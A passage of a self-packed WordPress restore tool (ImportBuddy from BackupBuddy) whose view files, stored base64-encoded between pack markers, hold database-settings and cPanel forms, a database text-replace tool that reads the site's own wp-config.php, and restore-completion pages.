iMSIgbmFtZT0iZGJfZm9yY2Vfc3NsIiBpZD0iZGJfZm9yY2Vfc3NsIj4KCQkJCQkmbmJzcDsmbmJzcDsKCQkJCQk8bGFiZWwgZm9yPSJkYl9mb3JjZV9zc2wiPkZvcmNlIFNTTCBjb25uZWN0aW9uIHdpdGggRGF0YWJhc2U/PC9sYWJlbD4gPCU9IHRpcCggJ0NoZWNrIHRoaXMgb3B0aW9uIGlmIHlvdSBoYXZlIGNvbmZpZ3VyZWQgeW91ciBNeVNRTCBkYXRhYmFzZSB0byBhY2NlcHQgaW5jb21pbmcgY29ubmVjdGlvbnMgdmlhIFNTTC4gV0FSTklORzogVGhpcyB3aWxsIGNhdXNlIGVycm9ycyBpZiB5b3VyIGRhdGFiYXNlIGlzIG5vdCBjb25maWd1cmVkIHRvIGFjY2VwdCBTU0wgY29ubmVjdGlvbnMuJyApICU+CgoJCQkJCTxicj4KCQkJCQk8YnI+CgoJCQkJCTxsYWJlbD5EYXRhYmFzZSBmaWxlcyB0byByZXN0b3JlOiA8L2xhYmVsPgoJCQkJCTxkaXYgY2xhc3M9ImRhdGFiYXNlX3Jlc3RvcmVfdGFibGVfc2VsZWN0Ij4KCQkJCQkJPCUKCQkJCQkJZGF0YWJhc2VTZXR0aW5ncy5zcWxGaWxlcy5mb3JFYWNoKGZ1bmN0aW9uKGVsLCBpbmRleCkgewoJCQkJCQkJJT4KCQkJCQkJCTxsYWJlbD48aW5wdXQgY2xhc3M9ImRhdGFiYXNlRmlsZSIgdHlwZT0iY2hlY2tib3giIG5hbWU9ImRhdGFiYXNlRmlsZXNbXSIgdmFsdWU9IjwlPSBlbCAlPiIgQ0hFQ0tFRD4gPCU9IGVsICU+PC9sYWJlbD48YnI+CgkJCQkJCQk8JQoJCQkJCQl9KTsKCQkJCQkJJT4KCQkJCQk8L2Rpdj4KCQkJCQkKCQkJCTwvZGl2PgoJCQk8L2Rpdj4KCQk8L2Rpdj4KCQoJCgkKCTwvZm9ybT4KCQoJCgkKCQoJCgkKCQoJCgkKCQoJCgkKCQoJCgkKCQoJCgkKCQoJCgkKCQoJCgkKCQoJPGRpdiBpZD0icGJfY3JlYXRlZGJfbW9kYWwiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+CgkJPGRpdiBjbGFzcz0ibW9kYWwiPgoJCQk8ZGl2IGNsYXNzPSJtb2RhbF9oZWFkZXIiPgoJCQkJPGEgY2xhc3M9Im1vZGFsX2Nsb3NlIj4mdGltZXM7PC9hPgoJCQkJPGgyPmNQYW5lbCBEYXRhYmFzZSBXaXphcmQ8L2gyPgoJCQkJUXVpY2tseSBjcmVhdGUgYSBuZXcgY1BhbmVsIGRhdGFiYXNlIHJpZ2h0IGhlcmUuCgkJCTwvZGl2PgoJCQk8ZGl2IGNsYXNzPSJtb2RhbF9jb250ZW50Ij4KCQkJCQoJCQkJPGZvcm0gaWQ9ImNwYW5lbF9jcmVhdGVkYl9mb3JtIj4KCQkJCQkKCQkJCQk8dGFibGUgd2lkdGg9IjEwMCUiPgoJCQkJCQk8dHI+CgkJCQkJCQk8dGQ+CgkJCQkJCQkJY1BhbmVsIExvZ2luIFVSTAoJCQkJCQkJCTwlPSB0aXAoICdbRXg6IG15ZG9tYWluLmNvbV0gRW50ZXIgdGhlIGNQYW5lbCBkb21haW4gdG8gY29tcGxldGUgdGhlIFVSTCB5b3UgZ28gdG8gdG8gYWNjZXNzIGNQYW5lbC4gIEZvciBpbnN0YW5jZSBpZiB5b3VyIGNQYW5lbCBsb2dpbiBpcyBhdCBodHRwOi8vbXlkb21haW4uY29tOjIwODIvIHRoZW4geW91ciBkb21haW4gaXMgbXlkb21haW4uY29tLicgKSAlPgoJCQkJCQkJPC90ZD4KCQkJCQkJCTx0ZCBzdHlsZT0idGV4dC1hbGlnbjogcmlnaHQ7Ij4KCQkJCQkJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY3BhbmVsX3Byb3RvY29sIiBpZD0iY3BhbmVsX3Byb3RvY29sIiB2YWx1ZT0iaHR0cDovLyIgc3R5bGU9IndpZHRoOiA4NXB4OyI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNwYW5lbF91cmwiIGlkPSJjcGFuZWxfdXJsIiBzdHlsZT0id2lkdGg6IDE4NnB4OyI+OjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjcGFuZWxfcG9ydCIgaWQ9ImNwYW5lbF9wb3J0IiBzdHlsZT0id2lkdGg6IDYycHg7IiB2YWx1ZT0iMjA4MiI+LwoJCQkJCQkJPC90ZD4KCQkJCQkJPC90cj4KCQkJCQkJPHRyPgoJCQkJCQkJPHRkPgoJCQkJCQkJCWNQYW5lbCB1c2VybmFtZQoJCQkJCQkJCTwlPSB0aXAoICdbRXg6IGJ1ZGR5XSBUaGlzIGlzIHRoZSB1c2VybmFtZSB5b3UgdXNlIHRvIGxvZyBpbnRvIHlvdXIgY1BhbmVsLicgKSAlPgoJCQkJCQkJPC90ZD4KCQkJCQkJCTx0ZCBzdHlsZT0idGV4dC1hbGlnbjogcmlnaHQ7Ij4KCQkJCQkJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY3BhbmVsX3VzZXIiIGNsYXNzPSJjcGFuZWxfdXNlciIgaWQ9ImNwYW5lbF91c2VyIiBzdHlsZT0id2lkdGg6IDI2NXB4OyI+CgkJCQkJCQk8L3RkPgoJCQkJCQk8L3RyPgoJCQkJCQk8dHI+CgkJCQkJCQk8dGQ+CgkJCQkJCQkJY1BhbmVsIHBhc3N3b3JkCgkJCQkJCQkJPCU9IHRpcCggJ1tFeDogaTQ5OGhEc2lmSDQ4N2hzU10gVGhpcyBpcyB0aGUgcGFzc3dvcmQgeW91IHVzZSB0byBsb2cgaW50byB5b3VyIGNQYW5lbC4nICkgJT4KCQkJCQkJCTwvdGQ+CgkJCQkJCQk8dGQgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0OyI+CgkJCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNwYW5lbF9wYXNzIiBpZD0iY3BhbmVsX3Bhc3MiIHN0eWxlPSJ3aWR0aDogMjY1cHg7IiAvPgoJCQkJCQkJPC90ZD4KCQkJCQkJPC90cj4KCQkJCQkJPHRyPgoJCQkJCQkJPHRkIGNvbHNwYW49IjIiPgoJCQkJCQkJCTxociBzdHlsZT0ibWFyZ2luOiA4cHg7Ij4KCQkJCQkJCTwvdGQ+CgkJCQkJCTwvdHI+CgkJCQkJCTx0cj4KCQkJCQkJCTx0ZD4KCQkJCQkJCQlOZXcgZGF0YWJhc2UgbmFtZQoJCQkJCQkJCTwlPSB0aXAoICdbRXg6IGJvYnNibG9nXSBUaGUgZGF0YWJhc2UgbmFtZSB5b3Ugd2FudCB0byBjcmVhdGUuIE5vdGU6IGNQYW5lbCBhdXRvbWF0aWNhbGx5IHByZWZpeGVzIGRhdGFiYXNlcyB3aXRoIHRoZSBjUGFuZWwgYWNjb3VudCB1c2VybmFtZSBhbmQgYW4gdW5kZXJzY29yZS4gZXggaWYgeW91ciBjUGFuZWwgdXNlcm5hbWUgaXMgImJ1ZGR5IjogYnVkZHlfYm9ic2Jsb2cnICkgJT4KCQkJCQkJCTwvdGQ+CgkJCQkJCQk8dGQgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0OyI+CgkJCQkJCQkJPHNwYW4gY2xhc3M9ImNwYW5lbF91c2VyX21pcnJvciI+PC9zcGFuPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjcGFuZWxfZGJuYW1lIiBpZD0iY3BhbmVsX2RibmFtZSIgc3R5bGU9IndpZHRoOiAyNjVweDsiIG1heGxlbmd0aD0iNTYiPgoJCQkJCQkJPC90ZD4KCQkJCQkJPC90cj4KCQkJCQkJPHRyPgoJCQkJCQkJPHRkPgoJCQkJCQkJCU5ldyBkYXRhYmFzZSB1c2VybmFtZQoJCQkJCQkJCTwlPSB0aXAoICdbRXg6IGJvYl0gVGhlIHVzZXJuYW1lIHlvdSB3YW50IHRvIGFkZCB0byBncmFudCBhY2Nlc3MgdG8gdGhpcyBkYXRhYmFzZSB5b3Ugd2FudCB0byBjcmVhdGUuIE5vdGU6IGNQYW5lbCBhdXRvbWF0aWNhbGx5IHByZWZpeGVzIGRhdGFiYXNlIHVzZXJuYW1lcyB3aXRoIHRoZSBjUGFuZWwgYWNjb3VudCB1c2VybmFtZSBhbmQgYW4gdW5kZXJzY29yZS4gZXggaWYgeW91ciBjUGFuZWwgdXNlcm5hbWUgaXMgImJ1ZGR5IjogYnVkZHlfYm9iJyApICU+CgkJCQkJCQk8L3RkPgoJCQkJCQkJPHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiByaWdodDsiPgoJCQkJCQkJCTxzcGFuIGNsYXNzPSJjcGFuZWxfdXNlcl9taXJyb3IiPjwvc3Bhbj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY3BhbmVsX2RidXNlciIgaWQ9ImNwYW5lbF9kYnVzZXIiIHN0eWxlPSJ3aWR0aDogMjY1cHg7IiBtYXhsZW5ndGg9IjciPgoJCQkJCQkJPC90ZD4KCQkJCQkJPC90cj4KCQkJCQkJPHRyPgoJCQkJCQkJPHRkPgoJCQkJCQkJCU5ldyBkYXRhYmFzZSB1c2VyIHBhc3N3b3JkCgkJCQkJCQkJPCU9IHRpcCggJ1RoZSBwYXNzd29yZCB5b3Ugd291bGQgbGlrZSB0byBhc3NpZ24gdG8gdGhlIGRhdGFiYXNlIHVzZXIgY3JlYXRlZC4nICkgJT4KCQkJCQkJCTwvdGQ+CgkJCQkJCQk8dGQgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0OyI+CgkJCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNwYW5lbF9kYnBhc3MiIGlkPSJjcGFuZWxfZGJwYXNzIiBzdHlsZT0id2lkdGg6IDI2NXB4OyIgdmFsdWU9IjwlPSByYW5kb21TdHJpbmcoMTYsICcwMTIzNDU2Nzg5YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXpBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWicpICU+Ij4KCQkJCQkJCTwvdGQ+CgkJCQkJCTwvdHI+CgkJCQkJPC90YWJsZT4KCQkJCQk8YnI+PGJyPgoJCQkJCTxjZW50ZXI+CgkJCQkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNyZWF0ZSBEYXRhYmFzZSIgY2xhc3M9ImJ1dHRvbiBidXR0b24tcHJpbWFyeSBjcGFuZWxfY3JlYXRlZGJfY3JlYXRlIj4KCQkJCQk8L2NlbnRlcj4KCQoJCQkJPC9mb3JtPgoJCQk8L2Rpdj4KCQoJCTwvZGl2PgoJPC9kaXY+CgkKCQoJPGRpdiBpZD0icGJfY3BhbmVsdHV0b3JpYWxfbW9kYWwiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+CgkJPGRpdiBjbGFzcz0ibW9kYWwiPgoJCQk8ZGl2IGNsYXNzPSJtb2RhbF9oZWFkZXIiPgoJCQkJPGEgY2xhc3M9Im1vZGFsX2Nsb3NlIj4mdGltZXM7PC9hPgoJCQkJPGgyPmNQYW5lbCBEYXRhYmFzZSBUdXRvcmlhbDwvaDI+CgkJCQlMZWFybiBob3cgdG8gcXVpY2tseSBjcmVhdGUgeW91ciBvd24gY1BhbmVsIGRhdGFiYXNlLgoJCQk8L2Rpdj4KCQkJPGRpdiBjbGFzcz0ibW9kYWxfY29udGVudCI+CgkKCQkJCTxvbD4KCQkJCQk8bGk+SW4gY1BhbmVsLCBzZWxlY3QgPGI+TXlTUUwgRGF0YWJhc2UgV2l6YXJkPC9iPiBmcm9tIHRoZSA8aT5EYXRhYmFzZXM8L2k+IHNlY3Rpb24uIE5leHQgc3RlcC48L2xpPgoJCQkJCTxsaT5FbnRlciBhIDxpPm5hbWU8L2k+IGZvciB0aGUgbmV3IGRhdGFiYXNlIHlvdSB3aXNoIHRvIGNyZWF0ZS4gTmV4dCBzdGVwLjwvbGk+CgkJCQkJPGxpPkVudGVyIGEgPGk+dXNlcm5hbWU8L2k+IGFuZCA8aT5wYXNzd29yZDwvaT4gdG8gY3JlYXRlIHRoZSBkYXRhYmFzZSB1c2VyLiBOZXh0IHN0ZXAuPC9saT4KCQkJCQk8bGk+U2VsZWN0IDxiPkFsbCBQcml2aWxlZ2VzPC9iPiB0byBzZXQgcGVybWlzc2lvbnMgdGhlIHVzZXIgaGFzIHRvIHRoZSBkYXRhYmFzZS4gRG9uZS48L2xpPgoJCQkJCTxsaT5CYWNrIGluIEltcG9ydEJ1ZGR5LCBlbnRlciB0aG9zZSBzYW1lIGRhdGFiYXNlIHNldHRpbmdzIGZvciB0aGUgPGk+TmV3IERhdGFiYXNlPC9pPi48L2xpPgoJCQkJPC9vbD4KCQkJCTxicj4KCQoJCQkJPGRpdiBvbkNsaWNrPSJqUXVlcnkodGhpcykuaHRtbCggbmV3IEVKUyh7dXJsOiAnaW1wb3J0YnVkZHkvdmlld3MvY3BhbmVsVHV0b3JpYWwuaHRtJ30pLnJlbmRlcigpICk7IiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyBjdXJzb3I6IHBvaW50ZXI7Ij48aDI+Q2xpY2sgdG8gZGlzcGxheSAzMC1zZWNvbmQgdHV0b3JpYWwgdmlkZW8uPC9oMj48L2Rpdj4KCQoJCQk8L2Rpdj4KCQk8L2Rpdj4KCTwvZGl2PgoKPC9kaXY+Cgo8IS0tIC0tPgo8ZGl2IGlkPSJkYXRhYmFzZS1ib3gtd29ya2luZyI+CjwvZGl2Pgo=
###PACKDATA,FILE_END,/_importbuddy/importbuddy/views/databaseSettings.htm,importbuddy/views/databaseSettings.htm
###PACKDATA,FILE_START,/_importbuddy/importbuddy/views/dbreplace.php,importbuddy/views/dbreplace.php
PD9waHAKaWYgKCAhIGRlZmluZWQoICdQQl9JTVBPUlRCVUREWScgKSB8fCAoIHRydWUgIT09IFBCX0lNUE9SVEJVRERZICkgKSB7CglkaWUoICc8aHRtbD48L2h0bWw+JyApOwp9CkF1dGg6OnJlcXVpcmVfYXV0aGVudGljYXRpb24oKTsgLy8gRGllIGlmIG5vdCBsb2dnZWQgaW4uCgokcGFnZV90aXRsZSA9ICdEYXRhYmFzZSBUZXh0IFJlcGxhY2UgVG9vbCc7CnJlcXVpcmVfb25jZSggJ19oZWFkZXIucGhwJyApOwo/PgoKPGRpdiBjbGFzcz0id3JhcCI+Cjw/cGhwCiRjb25maWdGaWxlID0gJyc7CmlmICggISBmaWxlX2V4aXN0cyggQUJTUEFUSCAuICd3cC1jb25maWcucGhwJyApICkgeyAvLyBOb3JtYWwgY29uZmlnIGZpbGUgbm90IGZvdW5kIHNvIHdhcm4gb3Igc2VlIGlmIHBhcmVudCBjb25maWcgbWF5IGV4aXN0LgoJJHBhcmVudENvbmZpZ01lc3NhZ2UgPSAnJzsKCSRwYXJlbnRDb25maWcgPSAgZGlybmFtZSggQUJTUEFUSCApIC4gJy93cC1jb25maWcucGhwJzsKCWlmICggQGZpbGVfZXhpc3RzKCAkcGFyZW50Q29uZmlnICkgKSB7IC8vIFBhcmVudCBjb25maWcgZXhpc3RzIHNvIG9mZmVyIGl0IGFzIGFuIG9wdGlvbiBvciBwb3NzaWJseSB1c2UgaXQgaWYgdXNlciBoYXMgc2VsZWN0ZWQgdG8gZG8gc28uCgkJaWYgKCBwYl9iYWNrdXBidWRkeTo6X0dFVCggJ3BhcmVudF9jb25maWcnICkgPT0gJ3RydWUnICkgeyAvLyBVc2VyIG9wdGVkIHRvIHVzZSBwYXJlbnQgY29uZmlnLgoJCQkkY29uZmlnRmlsZSA9ICRwYXJlbnRDb25maWc7CgkJfSBlbHNlIHsgLy8gVXNlciBoYXMgbm90IG9wdGVkIHRvIHVzZSBwYXJlbnQgY29uZmlnIHlldCBzbyBzZXQgbWVzc2FnZSB0byBvZmZlciBpdC4KCQkJJHBhcmVudENvbmZpZ01lc3NhZ2UgPSAnPGJyPjxicj48Yj5Ib3dldmVyPC9iPiwgYSB3cC1jb25maWcucGhwIGZpbGUgd2FzIGZvdW5kIGluIHRoZSBwYXJlbnQgZGlyZWN0b3J5IGFzIGAnIC4gJHBhcmVudENvbmZpZyAuICdgLiA8YSBocmVmPSI/cGFnZT1kYnJlcGxhY2UmcGFyZW50X2NvbmZpZz10cnVlIj48Yj5DbGljayBoZXJlPC9iPjwvYT4gaWYgeW91IHdvdWxkIGxpa2UgdG8gcnVuIHRoaXMgdG9vbCB1c2luZyB0aGlzIHdwLWNvbmZpZy5waHAgZmlsZSBpbiB0aGUgcGFyZW50IGRpcmVjdG9yeS4nOwoJCX0KCX0KCWlmICggJycgPT0gJGNvbmZpZ0ZpbGUgKSB7CgkJcGJfYmFja3VwYnVkZHk6OmFsZXJ0KCAnPGI+RXJyb3I6PC9iPiBUaGlzIHRvb2wgcmVxdWlyZXMgYW4gZXhpc3RpbmcgV29yZFByZXNzIGluc3RhbGxhdGlvbiB0byBwZXJmb3JtIGRhdGFiYXNlIHJlcGxhY2VtZW50cyBvbi4gTm8gV29yZFByZXNzIHdwLWNvbmZpZy5waHAgY29uZmlndXJhdGlvbiBmaWxlIHdhcyBmb3VuZCBpbiB0aGUgc2FtZSBkaXJlY3RvcnkgYXMgaW1wb3J0YnVkZHkucGhwLiAnIC4gJHBhcmVudENvbmZpZ01lc3NhZ2UgLiAnIDxicj48YnI+IDxiPk5vdGU6PC9iPiBJbXBvcnRCdWRkeSBhdXRvbWF0aWNhbGx5IGhhbmRsZXMgbWlncmF0aW5nICYgcmVwbGFjaW5nIHlvdXIgc2l0ZSBVUkxzIGFuZCBmaWxlIHBhdGhzIGR1cmluZyByZXN0b3JlL21pZ3JhdGlvbjsgdGhpcyB0b29sIGlzIG5vdCBuZWVkZWQgZm9yIG5vcm1hbCBiYWNrdXAgLyByZXN0b3JlIG9wZXJhdGlvbnMuJywgdHJ1ZSApOwoJfQp9IGVsc2UgeyAvLyBVc2Ugbm9ybWFsIGNvbmZpZyBmaWxlLgoJJGNvbmZpZ0ZpbGUgPSBBQlNQQVRIIC4gJ3dwLWNvbmZpZy5waHAnOwp9CgppZiAoICcnICE9ICRjb25maWdGaWxlICkgewoJCgkvLyBSZWFkIGluIHdwLWNvbmZpZy5waHAgZmlsZSBjb250ZW50cy4KCSRjb25maWdDb250ZW50cyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCAkY29uZmlnRmlsZSApOwoJaWYgKCBmYWxzZSA9PT0gJGNvbmZpZ0NvbnRlbnRzICkgewoJCXBiX2JhY2t1cGJ1ZGR5OjphbGVydCggJ0Vycm9yOiBVbmFibGUgdG8gcmVhZCB3cC1jb25maWcucGhwIGNvbmZpZ3VyYXRpb24gZmlsZS4nICk7CgkJcmV0dXJuOwoJfQoJCgkvLyBHcmFiIGRhdGFiYXNlIHNldHRpbmdzIGZyb20gd3AtY29uZmlnLnBocCBjb250ZW50cy4KCXByZWdfbWF0Y2goICcvZGVmaW5lXChbXHNdKihcJ3wiKURCX05BTUUoXCd8IiksW1xzXSooXCd8IikoLiopKFwnfCIpW1xzXSpcKTsvaScsICRjb25maWdDb250ZW50cywgJG1hdGNoZXMgKTsKCSRkYXRhYmFzZVNldHRpbmdzWyduYW1lJ10gPSAkbWF0Y2hlc1s0XTsKCXByZWdfbWF0Y2goICcvZGVmaW5lXChbXHNdKihcJ3wiKURCX1VTRVIoXCd8IiksW1xzXSooXCd8IikoLiopKFwnfCIpW1xzXSpcKTsvaScsICRjb25maWdDb250ZW50cywgJG1hdGNoZXMgKTsKCSRkYXRhYmFzZVNldHRpbmdzWyd1c2VybmFtZSddID0gJG1hdGNoZXNbNF07CglwcmVnX21hdGNoKCAnL2RlZmluZVwoW1xzXSooXCd8IilEQl9QQVNTV09SRChcJ3wiKSxbXHNdKihcJ3wiKSguKikoXCd8IilbXHNdKlwpOy9pJywgJGNvbmZpZ0NvbnRlbnRzLCAkbWF0Y2hlcyApOwoJJGRhdGFiYXNlU2V0dGluZ3NbJ3Bhc3N3b3JkJ10gPSAkbWF0Y2hlc1s0XTsKCXByZWdfbWF0Y2goICcvZGVmaW5lXChbXHNdKihcJ3wiKURCX0hPU1QoXCd8IiksW1xzXSooXCd8IikoLiopKFwnfCIpW1xzXSpcKTsvaScsICRjb25maWdDb250ZW50cywgJG1hdGNoZXMgKTsKCSRkYXRhYmFzZVNldHRpbmdzWydob3N0J10gPSAkbWF0Y2hlc1s0XTsKCXByZWdfbWF0Y2goICcvXCR0YWJsZV9wcmVmaXhbXHNdKj1bXHNdKihcJ3wiKSguKikoXCd8Iik7L2knLCAkY29uZmlnQ29udGVudHMsICRtYXRjaGVzICk7CgkkZGF0YWJhc2VTZXR0aW5nc1sncHJlZml4J10gPSAkbWF0Y2hlc1syXTsKCQoJLy9wcmludF9yKCAkZGF0YWJhc2VTZXR0aW5ncyApOwoJCgkvLyBDb25uZWN0IHRvIGRhdGFiYXNlLgoJZ2xvYmFsICR3cGRiOwoJJHdwZGIgPSBuZXcgd3BkYiggJGRhdGFiYXNlU2V0dGluZ3NbJ3VzZXJuYW1lJ10sICRkYXRhYmFzZVNldHRpbmdzWydwYXNzd29yZCddLCAkZGF0YWJhc2VTZXR0aW5nc1snbmFtZSddLCAkZGF0YWJhc2VTZXR0aW5nc1snaG9zdCddICk7CglpZiAoIGZhbHNlID09PSAkd3BkYi0+ZGJoICkgewoJCXBiX2JhY2t1cGJ1ZGR5OjphbGVydCggJ0Vycm9yICM4NTgzODM6IFVuYWJsZSB0byBjb25uZWN0IHRvIGRhdGFiYXNlIHVzaW5nIHNldHRpbmdzIGluIHdwLWNvbmZpZy5waHAuIFZlcmlmeSBjb25uZWN0aW9uIHNldHRpbmdzLicgKTsKCX0gZWxzZSB7CgkJcmVxdWlyZV9vbmNlKCAnX2RicmVwbGFjZS5waHAnICk7Cgl9Cn0KPz4KPC9kaXY+Cgo8P3BocApyZXF1aXJlX29uY2UoICdfZm9vdGVyLnBocCcgKTs=
###PACKDATA,FILE_END,/_importbuddy/importbuddy/views/dbreplace.php,importbuddy/views/dbreplace.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/views/finalCleanup.htm,importbuddy/views/finalCleanup.htm
VGhpcyBzdGVwIGhhbmRsZXMgZGVsZXRpbmcgZmlsZXMuIEluIHJhcmUgaW5zdGFuY2VzIG9uIHNvbWUgc2VydmVycyB5b3UgbWF5IHJlY2VpdmUgZXJyb3JzIGxvYWRpbmcgZmlsZXMgb3IgYW4gdW5zdHlsZWQgcGFnZSBoZXJlIGR1ZSB0byBmaWxlcyBnZXR0aW5nIGRlbGV0aW5nIHByZW1hdHVyZWx5IGJlZm9yZSB0aGUgcGFnZSBjb21wbGV0ZXMgbG9hZGluZy4gVGhpcyBtYXkgc2FmZWx5IGJlIGlnbm9yZWQuIEl0IGlzIGNvbW1vbiB0byBub3QgYmUgYWJsZSB0byBkZWxldGUgc29tZSBmaWxlcyBkdWUgdG8gcGVybWlzc2lvbiBlcnJvcnMuIFlvdSBtYXkgbWFudWFsbHkgZGVsZXRlIHRoZW0uIDxiPmltcG9ydGJ1ZGR5LnBocDwvYj4gc2hvdWxkIGFsd2F5cyBiZSBkZWxldGVkIGFmdGVyIHJlc3RvcmUgZm9yIGJlc3Qgc2VjdXJpdHkuCgo8aDMgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiPllvdXIgc2l0ZSBpcyByZWFkeSB0byBnbyBhdAo8YSBocmVmPSI8JT1ob21ldXJsJT4iIHRhcmdldD0iX2JsYW5rIj48Yj48JT1ob21ldXJsJT48L2I+PC9hPjxicj48YnI+ClRoYW5rIHlvdSBmb3IgY2hvb3NpbmcgQmFja3VwQnVkZHkhPC9oMz4KCgo8L2Rpdj48L2Rpdj48YnI+PGJyPjxicj4=
###PACKDATA,FILE_END,/_importbuddy/importbuddy/views/finalCleanup.htm,importbuddy/views/finalCleanup.htm
###PACKDATA,FILE_START,/_importbuddy/importbuddy/views/finished.htm,importbuddy/views/finished.htm
PGgxIGNsYXNzPSJhbmltYXRlZCBmYWRlSW5Eb3duIj5SZXN0b3JlIEZpbmlzaGVkLjwvaDE+Cgo8aDM+WW91ciBzaXRlIHNob3VsZCBiZSByZWFkeSB0byBnbyBhdDo8YnI+PGJyPjxhIGhyZWY9IjwlPWhvbWV1cmwlPiIgdGFyZ2V0PSJfYmxhbmsiPjwlPWhvbWV1cmwlPjwvYT48L2gzPjxicj4=
###PACKDATA,FILE_END,/_importbuddy/importbuddy/views/finished.htm,importbuddy/views/finished.htm
###PACKDATA,FILE_START,/_importbuddy/importbuddy/views/home.php,importbuddy/views/home.php
PD9waHAKLyoqCiAqIEltcG9ydEJ1ZGR5IEhvbWUgVmlldwogKgogKiBAcGFja2FnZSBCYWNrdXBCdWRkeQogKi8KCmlmICggISBkZWZpbmVkKCAnUEJfSU1QT1JUQlVERFknICkgfHwgKCB0cnVlICE9PSBQQl9JTVBPUlRCVUREWSApICkgewoJZGllKCAnPGh0bWw+PC9odG1sPicgKTsKfQo/Pgo8c2NyaXB0PgoJalF1ZXJ5KCAnI3BhZ2VUaXRsZScgKS5odG1sKCAnU3RlcCAxOiBTZWxlY3QgQmFja3VwIHRvIFJlc3RvcmUnICk7CgoJZnVuY3Rpb24gYmFja3VwUmVzdG9yZVN1Z2dlc3QoIGJhY2t1cFR5cGUgKSB7CgkJaWYgKCAnZGInID09IGJhY2t1cFR5cGUgKSB7IC8vIERCIGhhcyBubyBmaWxlcyAoZXhjZXB0IFNRTCBvZiBjb3Vyc2UpIHNvIHNraXAgcm9vdCBmaWxlIGV4dHJhY3Rpb24uCgkJCWpRdWVyeSggJ2lucHV0W25hbWU9InJlc3RvcmVGaWxlcyJdJyApLnByb3AoICdjaGVja2VkJywgZmFsc2UgKS5hdHRyKCAnZGlzYWJsZWQnLCB0cnVlICk7CgkJCWpRdWVyeSggJ2lucHV0W25hbWU9InJlc3RvcmVEYXRhYmFzZSJdJyApLnByb3AoICdjaGVja2VkJywgdHJ1ZSApLmF0dHIoICdkaXNhYmxlZCcsIGZhbHNlICk7CgkJfSBlbHNlIGlmICggJ2ZpbGVzJyA9PSBiYWNrdXBUeXBlICkgeyAvLyBGaWxlcyBoYXMgbm8gREIgc28gZGlzYWJsZSBEQi4KCQkJalF1ZXJ5KCAnaW5wdXRbbmFtZT0icmVzdG9yZUZpbGVzIl0nICkucHJvcCggJ2NoZWNrZWQnLCB0cnVlICkuYXR0ciggJ2Rpc2FibGVkJywgZmFsc2UgKTsKCQkJalF1ZXJ5KCAnaW5wdXRbbmFtZT0icmVzdG9yZURhdGFiYXNlIl0nICkucHJvcCggJ2NoZWNrZWQnLCBmYWxzZSApLmF0dHIoICdkaXNhYmxlZCcsIHRydWUgKTsKCQl9IGVsc2UgeyAvLyBkZWZhdWx0IHJlc3RvcmUgYWxsCgkJCWpRdWVyeSggJ2lucHV0W25hbWU9InJlc3RvcmVGaWxlcyJdJyApLnByb3AoICdjaGVja2VkJywgdHJ1ZSApLmF0dHIoICdkaXNhYmxlZCcsIGZhbHNlICk7CgkJCWpRdWVyeSggJ2lucHV0W25hbWU9InJlc3RvcmVEYXRhYmFzZSJdJyApLnByb3AoICdjaGVja2VkJywgdHJ1ZSApLmF0dHIoICdkaXNhYmxlZCcsIGZhbHNlICk7CgkJfQoJfQoKCWpRdWVyeShkb2N1bWVudCkucmVhZHkoZnVuY3Rpb24oKSB7CgkJalF1ZXJ5KCAnLnNlbGVjdGFibGVCYWNrdXBBcmNoaXZlJyApLmNsaWNrKCBmdW5jdGlvbigpewoJCQliYWNrdXBUeXBlID0galF1ZXJ5KHRoaXMpLmF0dHIoICdkYXRhLXR5cGUnICk7CgkJCWJhY2t1cFJlc3RvcmVTdWdnZXN0KCBiYWNrdXBUeXBlICk7CgkJfSk7CgoJCXN0YXJ0aW5nQmFja3VwVHlwZSA9IGpRdWVyeSggJy5zZWxlY3RhYmxlQmFja3VwQXJjaGl2ZTpjaGVja2VkJyApLmF0dHIoICdkYXRhLXR5cGUnICk7CgkJYmFja3VwUmVzdG9yZVN1Z2dlc3QoIHN0YXJ0aW5nQmFja3VwVHlwZSApOwoJfSk7Cjwvc2NyaXB0PgoKPD9waHAKZWNobyAnPGRpdiBjbGFzcz0ic3RlcC13cmFwIHN0ZXAtc2VsZWN0QmFja3VwLXdyYXAiPic7CgovLyBEaXNwbGF5IHByZS1mbGlnaHQgc2NhbiB3YXJuaW5ncyAmIGVycm9ycy4KJHByZWZsaWdodFJlc3VsdHMgPSBwcmVmbGlnaHRTY2FuKCk7CmlmICggY291bnQoICRwcmVmbGlnaHRSZXN1bHRzICkgPiAwICkgewoJcGJfYmFja3VwYnVkZHk6OmFsZXJ0KCBpbXBsb2RlKCAnPGhyPicsICRwcmVmbGlnaHRSZXN1bHRzICkgKTsKfQp1bnNldCggJHByZWZsaWdodFJlc3VsdHMgKTsKCi8vICRzdGVwID0gJzEnOwovLyBlY2hvICc8c2NyaXB0PnBhZ2VUaXRsZSggIlN0ZXAgPHNwYW4gY2xhc3M9XCJzdGVwX251bWJlclwiPicgLiAkc3RlcCAuICc8L3NwYW4+IG9mIDY6IENob29zZSB5b3VyIGJhY2t1cCBmaWxlIiApOzwvc2NyaXB0Pic7CmlmICggJ3N0YXNoJyA9PSBwYl9iYWNrdXBidWRkeTo6X0dFVCggJ3VwbG9hZCcgKSApIHsKCXJlcXVpcmUgJ19odG1sXzFfc3Rhc2gucGhwJzsKCWVjaG8gJzwvZGl2Pic7CglyZXR1cm47Cn0KPz4KCjxkaXYgY2xhc3M